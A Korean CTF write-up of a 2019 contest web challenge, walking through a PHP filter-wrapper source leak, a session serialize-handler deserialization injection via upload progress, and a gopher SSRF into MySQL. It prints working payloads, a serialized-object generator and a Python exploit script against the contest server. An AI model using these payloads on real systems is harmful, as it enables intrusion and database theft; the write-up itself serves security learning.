19Cyberoc 본선 – Hidden Service Write up

2019 사이버작전 경연대회 본선에 나왔던 Hidden Service라는 웹 문제다.
PHP 세션 핸들링 과정에서 발생하는 Deserialization 공격을 통해 플래그를 얻는 문제였는데
일반부/청소년부 같은 문제로 이름만 다르게 나왔다.

1. 소스를 얻어보자 (Source code leaks)

첨부 파일로 제공해준 index.php를 읽다보면 file inclusion취약점을 발견할 수 있다.

SimpleRouter::post("/intra/view", function() {
    $service = input("service", false, "post");
    if($service === false)
        return "No such service";

    chdir("intra");
    $service = str_replace("_", "/", $service);
    if(strpos($service, '/') === 0 || preg_match("/^.*(\\.\\.|php).*$/", $service))
        return "Don't cheat!";

    include $service.".php";
    chdir("..");
}); 

위 소스의 8번째 줄을 보면 /^.*(\\.\\.|php).*$/라는 정규식으로 사용자의 입력($service)을 검사한 뒤
include에 넣어주고 있다, 정규식에서 i flag없이 소문자만 검사하므로 php://대신 pHp://, PHP:// 와 같이 대문자를 섞어서 우회할 수 있었다.

service=PHP://filter/convert.base64-encode/resource=index

php wrapper를 이용해서 index.php, config.php, helper.php, dbconn.php
여러 소스 파일을 얻었으니 코드를 분석하며 취약점을 찾아보자.

2. 취약점 찾아 삼만리 (Chaining vulnerabilities)

dbconn.php

dbconn.php에는 db연결 정보가 담겨있었고 mysqli_connect 함수에서 패스워드 인자가 비어있었다.
여기서 추측할 수 있는건, 해당 유저의 패스워드가 설정되어있지 않으므로 SSRF 취약점을 찾는다면 따로 인증없이
gopher 등을 이용하여 직접 db로 raw data를 날릴 수 있다는 것이다.

config.php

config.php에는 ReportModule, LogModule 이렇게 2개의 클래스가 정의되어 있었는데
ReportModule 클래스의 send_real 메소드에서 SSRF가 가능해보였다.

class ReportModule {
    /* ... */
    public function send_report() {
        return $this->send_real();
    }
    private function send_real() {
        $target_host = parse_url($this->target, PHP_URL_HOST);
        if($target_host !== "localhost")
            return "Report can only be sent to localhost";

        $curl= curl_init();
        curl_setopt($curl, CURLOPT_URL, $this->target);
        $res = curl_exec($curl);
        curl_close($curl);

        return $res;
    }
    /* ... */
}
class LogModule {
    /* ... */
    public function __destruct() {
        if($this->rpt_module == null || !method_exists($this->rpt_module, "send_report"))
            return;
        $log_string = "REPORT_LOG";
        $this->write_line($log_string." - ".$this->rpt_module->send_report());
    }
}

LogModule 클래스를 보면, __destruct에서 send_report 메소드를 호출해준다. (Line 26)
근데 바로 위에있는 조건문(Line 23)을 통과해야 호출해주는데, 위 조건을 만족하려면
$this->rpt_module 변수가 ReportModule 클래스의 인스턴스여야 가능하다.

하지만 눈씻고 찾아봐도 $this->rpt_module = new ReportModule();와 같은 코드는 없었으므로
deserialize 취약점을 찾아 직접 send_report를 호출해야하는 상황이었다.

Deserialization attack through PHP session handling method

unserialize 함수에 내 입력이 들어가거나 여러 파일 관련 함수에서 phar를 쓸만한 곳이 있나 찾아보던 도중
config.php의 상단에 있던 ini_set으로 재설정해주고 있는 옵션이 눈에 들어왔다.

<?php
ini_set('pcre.backtrack_limit', '500');
ini_set('session.serialize_handler', 'php');

pcre.backtrack_limit은 preg 호출이 수행 할 수있는 최대 바인드 길이를 설정하는 옵션이고 (preg_replace, preg_match 같은거)
그 아래에 있는 session.serialize_handler는 PHP 세션의 직렬화/역직렬화 방식 핸들러를 지정해줄 수 있는 옵션이라고 한다.
기본 값은 phpphp_binary, php_serialize, wddx 등 다양하게 줄 수 있다.

참고:
https://www.php.net/manual/en/pcre.configuration.php
https://www.php.net/manual/en/session.configuration.php#ini.session.serialize-handler

다시 문제 사이트로 돌아와서, /info 페이지로 가보면 phpinfo를 제공한다.
쭉 아래로 내려 session.serialize_handler 부분을 보면 php.ini에서는 php_serialize로 설정해놨다.
Master Value는 php_serialize이며 config.php에서 ini_set을 이용해 php로 재설정 해주는 것이다.

Master Value : session.serialize_handler = php_serialize
Local Value : session.serialize_handler = php

즉, 세션을 직렬화해서 세션 파일에 저장할 때와 읽어서 역직렬화할 때 서로 다른 방식으로 진행된다.
이를 통해 세션에 원하는 데이터를 넣고 세션을 불러오는 과정에서 deserialization 공격이 가능해 보였다.
(어떻게 가능한지는 뒤에서 자세히 설명하겠다)

이제 세션에 원하는 데이터를 넣을 수 있어야 하는데
이건 session.upload_progress 옵션을 이용하면 가능하다.

3. PHP의 session.upload_progress

PHP는 업로드 중인 개별 파일의 업로드 진행률을 추적할 수 있도록 session.upload_progress라는 옵션을 제공한다.
session.upload_progress.enabled, session.upload_progress.cleanup 이렇게 2개의 옵션은 기본 On으로 설정되어 있는데 session.upload_progress.enabledOn이면 session_start 함수 호출없이 세션 파일을 생성할 수 있다.(업로드 진행률 추적을 위해 세션 사용) 단, session.upload_progress.cleanup 옵션이 On으로 활성화되어 있다면 진행률 추적에 쓰인 세션 파일은 자동으로 삭제된다.
(자동으로 삭제되는 상황에서도 용량이 큰 파일을 올려서 삭제에 딜레이를 주는 방법이 있는데 따로 포스팅하겠다)

반대로 session.upload_progress.cleanup 옵션이 Off라면 session_start 함수 호출없이
내가 원하는 값을 포함한 세션 파일을 생성하고 유지할 수 있다는 의미다.

session.upload_progress.enabled = On
session.upload_progress.cleanup = Off

/info에서 해당 옵션의 값을 확인해보니 딱 들어맞았다. (enabled는 On, cleanup은 Off)
이제 아래 multipart/form-data 요청으로 세션에 원하는 데이터를 넣을 수 있다.

------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="abcd"
Content-Type: text/plain

------WebKitFormBoundaryUmsB8xWbmldnarAQ--

5. 로컬에서 RCE 테스트

우선 테스트를 위해 index.php, rce.php 이렇게 2개의 파일을 준비했다.
index.php는 아무 내용도 없는 빈 파일이고 rce.php의 내용은 아래와 같다.

class A {
    public $cmd;
    function __destruct() {
        eval($this->cmd);
    }
}
session_start();

그리고, 세션 파일에 내가 원하는 데이터를 포함시킬 수 있도록 php.ini에서 다음과 같이 설정해준다.

session.upload_progress.enabled = On
session.upload_progress.cleanup = Off

이제 아래 내용으로 POST 요청을 보내면 세션 파일이 생성되는걸 확인할 수 있다.

------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="|O:1:\\"A\\":1:{s:3:\\"cmd\\";s:10:\\"phpinfo();\\";}"
Content-Type: text/plain

------WebKitFormBoundaryUmsB8xWbmldnarAQ--
핸들러에 따른 세션 파일 내용

요청을 보냈을 때 생성되는 세션 파일의 내용은 다음과 같다.
Local Value, Master Value 둘다php일 때:

upload_progress_abc|a:5:{s:10:"start_time";i:1568682523;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";s:8:"tmp_name";s:14:"/tmp/phpHEOzEC";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1568682523;s:15:"bytes_processed";i:5;}}}

Local Value, Master Value 둘다 php_serialize일 때:

a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568682633;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";s:8:"tmp_name";s:14:"/tmp/phpz5NId3";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1568682633;s:15:"bytes_processed";i:5;}}}}

우선 위 세션 데이터 모두 session_start 함수를 호출한다고 해서 phpinfo();가 실행되진 않는다.
당연한 결과다, filename을 |O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}로 설정했다고 해서 이 값을 그대로 역직렬화해주진 않는다.
근데 만약 여기서, php_serialize 방식으로 직렬화된 값을 php 방식으로 역직렬화하면 어떻게 될까?

문제 설정과 똑같이 rce.php 상단에 ini_set 한 줄을 추가해보자.

<?php
ini_set('session.serialize_handler', 'php');
class A {
    public $cmd;
    function __destruct() {
        eval($this->cmd);
    }
}
session_start();

ini_set를 이용하여 임의로 핸들러 값(session.serialize_handler 옵션)을 php로 변경해주고
session_start 함수를 호출하니 기존의 세션 값은 아래와 같이 바뀌며 phpinfo();가 실행된다.

a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568682633;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}

|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}가 뒤에 붙은걸 확인할 수 있다.
따라서 해당 세션 값이 역직렬화되면서 phpinfo();가 실행되는 것이다.

정리

정리하면 다른 페이지에서 upload_progress 옵션을 이용하여 session_start 함수 호출없이
php_serialize 방식으로 생성한 세션을 가지고 php 방식으로 다시 역직렬화하면 phpinfo();가 실행됨

그래서 결론적으로 왜 실행될까?
이유는 php 옵션은 파이프 문자(|)로 세션 명과 세션 데이터를 구분하기 때문이다.

ex) a|i:1234;

a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568683023;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}

위와 같이 php_serialize 방식으로 직렬화된 세션 데이터를 php 방식으로 역직렬화한 값을 var_dump로 보면

array(1) {
  ["a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568683023;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:""]=>
  object(__PHP_Incomplete_Class)#1 (2) {
    ["__PHP_Incomplete_Class_Name"]=>
    string(1) "A"
    ["cmd"]=>
    string(10) "phpinfo();"
  }
}

이렇게 | 가 나오기 전까지는 세션명으로, 그 후는 세션 데이터로 파싱하면서
[“cmd”]에 phpinfo();가 들어간 것을 확인할 수 있다.

6. Exploit

<?php
error_reporting(0);
# made by munsiwoo

class ReportModule { public $target; }
class LogModule { public $filename, $rpt_module; }

$rpt_module = new ReportModule();
$rpt_module->target = 'gopher://localhost:3306/_%a7%00%00%01%85%a2%1e%00%00%00%00%40%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%69%6e%74%72%61%5f%6d%61%6e%61%67%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%61%03%5f%6f%73%09%64%65%62%69%61%6e%36%2e%30%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%32%33%34%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%08%35%2e%36%2e%36%2d%6d%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%03%66%6f%6f%03%62%61%72%35%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%76%61%6c%75%65%29%20%66%72%6f%6d%20%69%6e%74%72%61%5f%64%61%74%61%2e%70%61%73%73%77%6f%72%64%3b%01%00%00%00%01';

$log_module = new LogModule();
$log_module->filename = 'log/munsiwoo123';
$log_module->rpt_module = $rpt_module;

echo '|'.str_replace('"', '\\\\"', serialize($log_module));

gopher://localhost:3306/_뒤에 붙는 데이터는 MySQL 쿼리를 직접 요청할 수 있는 raw data다.
위에서는 select group_concat(value) from intra_data.password; 를 요청하도록 생성했다.

위 코드를 실행해서 나온 직렬화된 데이터를 filename에 담아서 세션 데이터에 포함시켜 세션을 생성한다.

import requests

contents = """------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="|O:9:\\"LogModule\\":2:{s:8:\\"filename\\";s:15:\\"log/munsiwoo123\\";s:10:\\"rpt_module\\";O:12:\\"ReportModule\\":1:{s:6:\\"target\\";s:724:\\"gopher://localhost:3306/_%a7%00%00%01%85%a2%1e%00%00%00%00%40%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%69%6e%74%72%61%5f%6d%61%6e%61%67%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%61%03%5f%6f%73%09%64%65%62%69%61%6e%36%2e%30%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%32%33%34%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%08%35%2e%36%2e%36%2d%6d%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%03%66%6f%6f%03%62%61%72%35%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%76%61%6c%75%65%29%20%66%72%6f%6d%20%69%6e%74%72%61%5f%64%61%74%61%2e%70%61%73%73%77%6f%72%64%3b%01%00%00%00%01\\";}}"
Content-Type: text/plain

------WebKitFormBoundaryUmsB8xWbmldnarAQ--"""

url = "http://13.209.230.31/admin"
headers = {
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryUmsB8xWbmldnarAQ",
    "Cookie": "PHPSESSID=munsiwoo"
}
requests.post(url, headers=headers, data=contents)
result = requests.get(url, headers=headers).text

print(result)

get_flag

후기

CTF 문제로서 재밌는 아이디어로 php deserialization 공격을 해볼 수 있어서 좋았다.
끝까지 읽어주셔서 감사합니다. (_ _)

참고한 자료들 (Reference)

https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html
http://wonderkun.cc/index.html/?p=718
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://gist.github.com/chtg/f74965bfea764d9c9698
https://www.zzfly.net/ctf-serialize/
https://bugs.php.net/bug.php?id=71101
https://bugs.php.net/bug.php?id=72681
https://www.php.net/manual/en/session.upload-progress.php
https://www.php.net/manual/en/session.configuration.php#ini.session.serialize-handler